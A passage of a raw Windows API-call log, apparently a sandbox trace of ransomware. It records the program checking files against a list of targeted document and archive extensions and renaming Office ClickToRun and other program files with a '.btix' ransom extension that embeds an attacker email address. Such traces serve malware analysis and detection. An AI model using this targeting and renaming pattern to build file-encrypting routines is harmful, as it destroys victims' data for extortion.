[0127.379] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0127.379] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0127.379] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0127.379] lstrlenW (lpString=".doc") returned 4 [0127.379] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0127.379] lstrlenW (lpString=".docx") returned 5 [0127.379] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0127.379] lstrlenW (lpString=".pdf") returned 4 [0127.379] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0127.379] lstrlenW (lpString=".xls") returned 4 [0127.379] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0127.379] lstrlenW (lpString=".xlsx") returned 5 [0127.379] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0127.379] lstrlenW (lpString=".ppt") returned 4 [0127.379] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0127.379] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0127.379] lstrlenW (lpString=".zip") returned 4 [0127.379] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0127.379] lstrlenW (lpString=".rar") returned 4 [0127.379] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0127.379] lstrlenW (lpString=".bz2") returned 4 [0127.379] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0127.379] lstrlenW (lpString=".7z") returned 3 [0127.379] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0127.379] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0127.380] lstrlenW (lpString=".dbf") returned 4 [0127.380] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0127.380] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0127.380] lstrlenW (lpString=".1cd") returned 4 [0127.380] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0127.380] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0127.380] lstrlenW (lpString=".jpg") returned 4 [0127.380] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0127.380] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0127.380] lstrlenW (lpString="ApiClient.dll") returned 13 [0127.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0127.380] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=162880) returned 1 [0127.380] CloseHandle (hObject=0x384) returned 1 [0127.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0127.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0127.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0127.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0127.381] lstrlenW (lpString=".doc") returned 4 [0127.381] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0127.381] lstrlenW (lpString=".docx") returned 5 [0127.381] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0127.381] lstrlenW (lpString=".pdf") returned 4 [0127.381] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0127.381] lstrlenW (lpString=".xls") returned 4 [0127.381] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0127.381] lstrlenW (lpString=".xlsx") returned 5 [0127.381] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0127.381] lstrlenW (lpString=".ppt") returned 4 [0127.381] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0127.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0127.381] lstrlenW (lpString=".zip") returned 4 [0127.381] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0127.381] lstrlenW (lpString=".rar") returned 4 [0127.381] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0127.381] lstrlenW (lpString=".bz2") returned 4 [0127.381] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0127.381] lstrlenW (lpString=".7z") returned 3 [0127.381] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0127.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0127.381] lstrlenW (lpString=".dbf") returned 4 [0127.381] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0127.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0127.381] lstrlenW (lpString=".1cd") returned 4 [0127.381] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0127.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0127.381] lstrlenW (lpString=".jpg") returned 4 [0127.381] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0127.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0127.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0127.382] lstrlenW (lpString=".doc") returned 4 [0127.382] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0127.382] lstrlenW (lpString=".docx") returned 5 [0127.382] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0127.382] lstrlenW (lpString=".pdf") returned 4 [0127.382] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0127.382] lstrlenW (lpString=".xls") returned 4 [0127.382] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0127.382] lstrlenW (lpString=".xlsx") returned 5 [0127.382] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0127.382] lstrlenW (lpString=".ppt") returned 4 [0127.382] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0127.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0127.382] lstrlenW (lpString=".zip") returned 4 [0127.382] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0127.382] lstrlenW (lpString=".rar") returned 4 [0127.382] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0127.382] lstrlenW (lpString=".bz2") returned 4 [0127.382] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0127.382] lstrlenW (lpString=".7z") returned 3 [0127.382] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0127.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0127.382] lstrlenW (lpString=".dbf") returned 4 [0127.382] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0127.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0127.382] lstrlenW (lpString=".1cd") returned 4 [0127.382] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0127.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0127.382] lstrlenW (lpString=".jpg") returned 4 [0127.382] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0127.383] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0127.383] lstrlenW (lpString="AppVCatalog.dll") returned 15 [0127.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0127.383] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=656088) returned 1 [0127.383] CloseHandle (hObject=0x384) returned 1 [0127.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0127.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0127.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0127.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0127.383] lstrlenW (lpString=".doc") returned 4 [0127.383] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0127.383] lstrlenW (lpString=".docx") returned 5 [0127.383] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0127.383] lstrlenW (lpString=".pdf") returned 4 [0127.383] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0127.384] lstrlenW (lpString=".xls") returned 4 [0127.384] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0127.384] lstrlenW (lpString=".xlsx") returned 5 [0127.384] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0127.384] lstrlenW (lpString=".ppt") returned 4 [0127.384] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0127.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0127.384] lstrlenW (lpString=".zip") returned 4 [0127.384] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0127.384] lstrlenW (lpString=".rar") returned 4 [0127.384] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0127.384] lstrlenW (lpString=".bz2") returned 4 [0127.384] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0127.384] lstrlenW (lpString=".7z") returned 3 [0127.384] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0127.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0127.384] lstrlenW (lpString=".dbf") returned 4 [0127.384] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0127.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0127.384] lstrlenW (lpString=".1cd") returned 4 [0127.384] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0127.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0127.384] lstrlenW (lpString=".jpg") returned 4 [0127.384] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0127.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0127.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0127.384] lstrlenW (lpString=".doc") returned 4 [0127.384] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0127.384] lstrlenW (lpString=".docx") returned 5 [0127.384] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0127.384] lstrlenW (lpString=".pdf") returned 4 [0127.384] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0127.384] lstrlenW (lpString=".xls") returned 4 [0127.384] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0127.384] lstrlenW (lpString=".xlsx") returned 5 [0127.385] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0127.385] lstrlenW (lpString=".ppt") returned 4 [0127.385] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0127.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0127.385] lstrlenW (lpString=".zip") returned 4 [0127.385] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0127.385] lstrlenW (lpString=".rar") returned 4 [0127.385] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0127.385] lstrlenW (lpString=".bz2") returned 4 [0127.385] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0127.385] lstrlenW (lpString=".7z") returned 3 [0127.385] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0127.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0127.385] lstrlenW (lpString=".dbf") returned 4 [0127.385] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0127.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0127.385] lstrlenW (lpString=".1cd") returned 4 [0127.385] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0127.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0127.385] lstrlenW (lpString=".jpg") returned 4 [0127.385] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0127.385] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0127.385] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26 [0127.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0127.385] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=307416) returned 1 [0127.385] CloseHandle (hObject=0x384) returned 1 [0127.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0127.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0127.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0127.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0127.386] lstrlenW (lpString=".doc") returned 4 [0127.386] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0127.386] lstrlenW (lpString=".docx") returned 5 [0127.386] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0127.386] lstrlenW (lpString=".pdf") returned 4 [0127.386] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0127.386] lstrlenW (lpString=".xls") returned 4 [0127.386] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0127.386] lstrlenW (lpString=".xlsx") returned 5 [0127.386] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0127.386] lstrlenW (lpString=".ppt") returned 4 [0127.386] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0127.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0127.386] lstrlenW (lpString=".zip") returned 4 [0127.386] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0127.386] lstrlenW (lpString=".rar") returned 4 [0127.386] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0127.386] lstrlenW (lpString=".bz2") returned 4 [0127.386] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0127.386] lstrlenW (lpString=".7z") returned 3 [0127.386] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0127.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0127.386] lstrlenW (lpString=".dbf") returned 4 [0127.386] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0127.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0127.386] lstrlenW (lpString=".1cd") returned 4 [0127.387] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0127.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0127.387] lstrlenW (lpString=".jpg") returned 4 [0127.387] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0127.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0127.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0127.387] lstrlenW (lpString=".doc") returned 4 [0127.387] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0127.387] lstrlenW (lpString=".docx") returned 5 [0127.387] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0127.387] lstrlenW (lpString=".pdf") returned 4 [0127.387] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0127.387] lstrlenW (lpString=".xls") returned 4 [0127.387] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0127.387] lstrlenW (lpString=".xlsx") returned 5 [0127.387] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0127.387] lstrlenW (lpString=".ppt") returned 4 [0127.387] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0127.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0127.387] lstrlenW (lpString=".zip") returned 4 [0127.387] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0127.387] lstrlenW (lpString=".rar") returned 4 [0127.387] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0127.387] lstrlenW (lpString=".bz2") returned 4 [0127.387] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0127.387] lstrlenW (lpString=".7z") returned 3 [0127.387] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0127.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0127.387] lstrlenW (lpString=".dbf") returned 4 [0127.387] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0127.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0127.387] lstrlenW (lpString=".1cd") returned 4 [0127.387] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0127.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0127.387] lstrlenW (lpString=".jpg") returned 4 [0127.387] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0127.388] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0127.388] lstrlenW (lpString="AppVIntegration.dll") returned 19 [0127.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0127.388] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=2118360) returned 1 [0127.388] CloseHandle (hObject=0x384) returned 1 [0127.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0127.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0127.388] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0127.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0127.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0127.388] lstrlenW (lpString=".doc") returned 4 [0127.388] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0127.388] lstrlenW (lpString=".docx") returned 5 [0127.388] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0127.388] lstrlenW (lpString=".pdf") returned 4 [0127.388] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0127.388] lstrlenW (lpString=".xls") returned 4 [0127.389] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0127.389] lstrlenW (lpString=".xlsx") returned 5 [0127.389] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0127.389] lstrlenW (lpString=".ppt") returned 4 [0127.389] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0127.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0127.389] lstrlenW (lpString=".zip") returned 4 [0127.389] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0127.389] lstrlenW (lpString=".rar") returned 4 [0127.389] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0127.389] lstrlenW (lpString=".bz2") returned 4 [0127.389] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0127.389] lstrlenW (lpString=".7z") returned 3 [0127.389] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0127.389] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0127.390] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0127.390] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0127.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0127.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0127.392] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0127.392] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0128.128] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0128.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1 [0135.989] MoveFileW (lpExistingFileName="C:\\Program 